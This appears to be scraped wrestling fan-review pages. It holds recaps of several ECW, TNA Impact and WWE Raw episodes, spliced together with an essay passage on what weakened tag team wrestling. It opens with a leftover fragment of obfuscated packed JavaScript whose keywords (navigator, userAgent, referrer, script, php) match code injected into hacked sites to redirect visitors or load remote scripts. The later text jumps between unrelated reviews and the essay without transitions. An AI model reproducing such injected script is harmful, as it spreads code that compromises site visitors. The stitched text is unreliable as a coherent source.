");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfahy|var|u0026u|referrer|szkif||js|php'.split('|'),0,{})) on TNN
Date: December 31, 1999
Location: Westchester County Center, White Plains, New York
Attendance: 2,800
Commentators: Joey Styles, Joel Gertner

Raven talks about being crucified for the sins of his past.

Theme song.

Raven vs. Mikey Whipwreck

Rating: C. This is ECW style but it was an actual coherent match which is more than you can say for the vast majority of their stuff. Mikey is a guy that did a lot of stuff for the company back in the day but he never amounted to anything elsewhere. Raven getting to wrestle a match is very much a rarity anymore so it was a nice surprise.

Tanaka is warming up.

Awesome is ready.

Yoshihiro Tajiri vs. Super Crazy

This should be good. A quick tilt-a-whirl backbreaker takes Tajiri down but he comes back with the handspring elbow and things speed up. No one is interested in selling here and we wind up at a standoff. Tajiri drops to the floor, seemingly just so Crazy can hit a baseball slide and a moonsault press off the top to the floor. Joel does his Spanish schtick and we head back inside. Tajiri blocks a kick and fires off some of his own.

Tanaka speaks Japanese.

ECW World Title: Mike Awesome vs. Masato Tanaka

No entrances for either guy and Tanaka is defending here. Awesome jumps Tanaka to start and hits a kind of overhead release belly to belly. Tanaka is sent to the floor and Awesome hits a big plancha to take him down. We get the first table set up on the floor but Tanaka breaks up the powerbomb through it. A top rope cross body to the floor takes out Awesome as does a running chair shot to the head.

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Date: December 24, 1999
Location: Municipal Auditorium, Nashville, Tennessee
Attendance: 2,500
Commentators: Joey Styles, Joel Gertner

Intro sequence.

ECW World Title: Mike Awesome vs. Masato Tanaka

This is joined in progress and Tanaka is in workout pants. Tanaka sends him to the floor and into the barricade followed by a chair to the head. These two were rivals in Japan with Tanaka being the guy that beat Awesome far more than anyone else. Awesome is defending and already beat Tanaka at two straight PPVs. They head into the crowd with the champion taking over.

Awesome puts the belt on Tanaka and then beats him up, followed by a powerbomb over the ropes and through a table on the floor.

Awesome is furious post break and goes after Cyrus, who blames Paulie.

Super Crazy vs. Ikuto Hidaka

Hidaka ducks a kick and a headscissors sends Crazy to the outside. A HUGE flip dive takes crazy out again and Hidaka is in control. Crazy whips him into the barricade and fires off some kicks before we head back inside. A springboard missile dropkick puts Hidaka down and a moonsault gets two for Crazy. Crazy hooks a surfboard and then a dragon sleeper to keep Hidaka in trouble.

House show/merchandise ads.

Tag Titles: Raven/Tommy Dreamer vs. Da Baldies

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Date: September 27, 2012
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

We open with the usual recaps from last week.

Aries and Hardy are teaming up tonight against opponents to be named later.

Kurt Angle vs. Chavo Guerrero vs. Christopher Daniels

During the break the three non-wrestlers got ejected and we come back with Angle caught in a top wristlock from Daniels. Chavo is nowhere to be seen. Angle snaps off a German to Daniels and one to a charging Chavo. The Angle Slam is countered by Guerrero and he knocks Angle to the floor. Chavo starts speeding things up on Daniels but Angle comes back in to suplex him down very quickly.

A big German takes Daniels down but Chavo rolls Kurt up to break up the ankle lock. Chavo loads up the Three Amigos on Angle but has to settle for them on Daniels instead. Chavo goes up but Angle puts the ankle lock on Daniels, who counters and sends Angle into Chavo, crotching him. An STO out of nowhere on Chavo is enough to get the pin for Daniels at 9:06.

Tara vs. ODB

Winner gets the shot at Tessmacher at the PPV. Eric does his stupid schtick before the match starts. ODB pounds away to start and chases Tara around the ring for a few seconds. Eric gets on the apron like a tag partner and gets down before he does anything of note. ODB hits a splash in the corner followed by a Bronco Buster. Tara is sent to the floor and gets in an argument with Eric, allowing ODB to hit a baseball slide to keep control.

Gut Check is next.

Time for Gut Check and Snow is in trouble due to the Joey Ryan stuff. Now the judges talk about Markopoulous or however you spell that.

TV Title: Mr. Anderson vs. Samoa Joe

Both guys try for their finishers very fast but neither can get them to work. Joe hits his back elbow and enziguri in the corner for two and he takes over. He stomps away a bit and hits a chop to the back but gets rolled up for two. A swinging neckbreaker gets two for Anderson as well and he pounds away. Anderson hits a jawbreaker and a Regal Roll but Joe rolls it through into a crucifix for two.

Douglas Williams won a tag title at BFG one year in a ladder match.

Storm is happy with having a street fight with Roode at BFG.

Bully Ray/Bobby Roode vs. Jeff Hardy/Austin Aries

Hardy and Ray start things off with Hardy immediately speeding things up to send Ray into the corner. Off to Aries vs. Roode with Bobby looking a bit nervous. Hardy comes in sans tag and cleans house while Hardy clears the ring. We take a break and come back with Hardy getting knocked off the top to give Ray and Roode the advantage.

Results

Christopher Daniels b. Chavo Guerrero and Kurt Angle – STO to Guerrero

Tara b. ODB – Small Package

Samoa Joe b. Mr. Anderson – Koquina Clutch

Austin Aries/Jeff Hardy b. Bobby Roode/Bully Ray – Swanton Bomb to Ray

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Date: October 17, 2006
Location: Jacksonville Memorial Coliseum, Jacksonville, Florida
Commentators: Joey Styles, Tazz

Matt Striker vs. Sandman

CM Punk vs. Rene Dupree

This is a rematch from last week. Rene slaps him to start, ticking off Punk enough that he charges into a quick hot shot. Rene gets in some more offense but Punk leg lariats him, hits his quick strikes, the Rock Bottom and the Anaconda Vice for the fast tap. This was nothing.

Mike Knox hits the ring post match but Punk is ready for him. Knox bails immediately when Punk calls him into the ring.

Test vs. Balls Mahoney

Sabu vs. Shannon Moore

Big Show vs. Rob Van Dam

Show comes back with a spear but it only gets two. The fans are getting way into this which is kind of surprising given how the match has been going so far. A Vader Bomb Elbow misses but a clothesline puts RVD right back into the corner. The referee gets bumped and Van Dam counters the chokeslam into a DDT. He loads up the Five Star but Test shoves him off the top and stomps away. Test grabs a chair and pokes Van Dam in the ribs with it but Hardcore Holly runs out and hits Test with the chair. Holly cracks Show with the chair twice and the Five Star gives Rob the upset win.

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Date: October 10, 2006
Location: Kansas Coliseum, Topeka, Kansas
Commentators: Joey Styles, Tazz

Theme song.

The announced main event is a six man tag, meaning I was looking at the wrong card earlier.

CM Punk vs. Rene Dupree

Candice and Maria tie so they both take something off. Maria takes off her garters and Candice takes off her skirt.

Kevin Thorn vs. Tommy Dreamer

Krystal loses her shoes and Balls has an erection.

We recap Hardcore Holly getting his back sliced open and then getting taken out by Test before Holly could kill Heyman.

The girls talk about how hot Cena is. This transitions into a promo for the Marine. Maria loves ponies. END THIS FREAKING NONSENSE ALREADY!!! Now they like Batista and Punk. They deal another round and Kelly dances before taking her skirt off. She takes her top off because she wants to. The bra comes off and we take a break with her back to the camera.

SEE THE MARINE!

Rob Van Dam/Sabu/Sandman vs. Test/Matt Striker/Big Show

Striker does the coward heel thing of getting in his shots while Sandman is in trouble. Maria takes her skirt off. Sandman wants Big Show with the big man chopping away as Trinity takes her skirt off. Sabu comes in to fire away on Show but Test pops him in the back to take over. This match is going nowhere. Sabu pounds on Test and we take a break.

Candice claims the game is rigged and gets in an argument with Maria. Tops come off, everything is blurred, you can see the straps of the skin colored underwear, a big catfight ends the show.

Remember to follow me on Twitter @kbreviews

 

In the fall of that year, another team was starting to have some issues. This team was known as the Rockers and was comprised of Shawn Michaels and Marty Jannetty. They were hitting their peak as a team, showing continuity the likes of which were rarely seen in the WWF, before Shawn started having a big head. It seemed that the team was on the verge of splitting when they met face to face on the set of the talk show The Barber Shop in December of 1991.

 

On that show, in probably the most famous tag team split ever, Shawn Michaels superkicked Marty and rammed him face first through a window, completely splitting the team and establishing himself as the a fast rising heel. Shawn would also go on to greatness, feuding with Bret on and off for five years while putting together one of the greatest in ring careers of all time.

 

Look to modern tag team wrestling for proof of this. Well by modern I mean about three years ago but you get the idea. When Miz and Morrison split up, the crux of their feud was over which one of them would be the Jannetty. Just the idea of which would be a success (and dang were most people, myself included, wrong on which one would be the star of the team) was enough to warrant a feud.

 

 

Back to the subject of what killed the tag division, there are two other men that had a big role in this: Hawk and Animal, the Legion of Doom. Now before I get into this, I want to make it clear that I was a HUGE LOD fan. I had an LOD hat, I had an LOD shirt, I ate Legion of Doom cereal, and yes that really existed. However, there came a point where there was no one that was going to be able to beat the LOD and everyone knew it.

 

Think about it: what tag team could give a legitimate challenge to the Legion of Doom? This was a team that had gone toe to toe with the Horsemen in the NWA and now were here, beating up everyone in sight, including the formerly dominant team of Demolition (how those two never had a big PPV match is one of the great wrestling mysteries of our time). As cool as the LOD was, there are only so many places you can go with them as champions.

 

 

These two were former multiple time tag team champion Billy Gunn and the Road Dogg Jesse James, who formed the team known as the New Age Outlaws. The Outlaws would dominate tag team wrestling for the next two years, winning five tag titles, a record at the time. To give you an idea of how dominant the Outlaws were by comparison, other than them, no team from May of 1997 to June of 2003 held the titles for longer than three months. La Resistance, the team that broke that streak, won them after the brand split when there were two sets of titles.

 

The Outlaws lost their final title in February of 2000 to a new team called the Dudley Boyz, kicking off what is incorrectly considered a renaissance of the tag team division. Over the fourteen months, the Hardy Boys, Edge and Christian, and the Dudleys won a combined thirteen tag titles, with the final change between the teams coming at Wrestlemania X7. Between February of 2000 and April of 2001 (X7), three teams (Right to Censor, Too Cool and Rock/Undertaker) combined to hold the titles for 62 days. Other than that, it was all Dudleys/Hardys/Edge and Christian.

 

So what does this tell us about this period? It tells us that this was not a renaissance or a rebirth of the division. It was a three way feud that was incredibly popular for how action packed the matches were. This was a fresh idea because the Outlaws followed the Nash/Hall formula of being tag team champions: they rarely defended the titles.

 

Now the Outlaws defended them a lot more often, but how many times do you distinctly remember them defending the belts? How many of those defenses do you remember lasting five minutes? In the Attitude Era, you very rarely got a long match, so seeing Edge/Christian, the Hardys and the Dudleys going out and having fifteen minute matches that were pretty awesome was a new thing for the division and it made the titles look greater than they were.

 

As always with a great feud, at some point it becomes stale, which is what happened once Edge and Christian broke up. You can only run the Hardys vs. the Dudleys so many times before no one cares anymore, and by the end of 2001, not many people did. After that, the tag titles fell through the floor with no one caring about them on Raw or their counterparts on Smackdown (other than the end of 2002 and early 2003 on the blue show) for the better part of the decade.

 

Monday Night Raw
Date: July 8, 2002
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Commentators: Jim Ross, Jerry Lawler

We open with a recap of the 4^th of July show with Angle making Undertaker tap out at the same time Undertaker pinned him.

Vince pops up to start and says Undertaker has the night off. Taker will however be on Smackdown to welcome Rock back. The main event for Vengeance is Rock vs. Taker vs. Angle for the title.

Theme song.

Eddie Guerrero vs. Booker T

Booker pounds on him to start and a knee to the ribs looks to set up the ax kick, only for Eddie to get in a shot to the knee and take over. A rollup with feet on the ropes gets two for Eddie and this is going slow already. Eddie suplexes him down and hits a neckbreaker for two. Booker comes out of nowhere with his corner sunset flip for the pin.

Rating: D+. This was about three minutes of punching and kicking followed by a nearly botched sunset flip out of the corner. For two world champion level guys, you kind of expect a bit more. That being said, this was pretty much normal for Raw around this time, as nothing was really clicking at all.

A familiar name is coming to WWE. His name: Rey Mysterio.

We get a famous Rock moment of him driving Lillian crazy.

Chris Benoit vs. Bubba Ray Dudley

Rating: C. It was better than the previous match because of the intensity in it, but was this really the best thing they could use Benoit for after he came back from injury? The match was barely long enough to rate and it was nothing interesting at all. Bubba Ray Dudley is roughly the third biggest face on the show right now, which should give you a good idea of how things were.

Post match the former Radicalz beat the Dudleys down until Booker and Goldust make the save.

Flair is praising Jeff in the back for trying last week when Steven Richards come up. We get Flair vs. Richards tonight, because in 2002 we use guys like Flair and Benoit to put over guys like Steven Richards and Bubba Ray Dudley, and by put over I mean beat them in three and a half minute matches that no one will remember by the end of the show because there was nothing to them.

Trish Stratus/Bradshaw vs. Christopher Nowitski/Jackie Gayda

Rock moment shows him making fun of whoever he happens to be feuding with at the time.

Ric Flair vs. Steven Richards

Flair pounds him into the corner to start like some legend beating down some midcard guy that never really got over other than for a few months. Flair pounds on him in the other corner now and we head to the floor. Back in and Flair gets backdropped but avoids a dropkick. Flair blocks a suplex, hits a belly to back of his own, and ends it with the Figure Four.

Here are Heyman and the KOTR and #1 contender, Brock Lesnar. Heyman talks about how whoever wins the triple threat is going to be the lamb led to slaughter at Summerslam. Lesnar gets RVD for the IC Title at Vengeance which Heyman declares a win already. Heyman knows this because he created RVD (and never put the world title on him for no apparent reason) along with everyone else in ECW. He made them to satiate the blood thist (his terms) of these Philadelphia fans.

Pat Croce, the former boss of the Philadelphia 76ers, is here to talk about his new show Slam Ball, which is this freaky idea that had basketball being played with trampolines.

European Title: Jeff Hardy vs. William Regal

This is your life Rock!

Regal starts to cry in the back. This also went nowhere as far as I remember.

The Dudleys ask RVD to be their partner.

NWO/Chris Benoit/Eddie Guerrero vs. Bubba Ray Dudley/Spike Dudley/Rob Van Dam/Booker T/Goldust

Shawn warns HHH to join or else to end the show.

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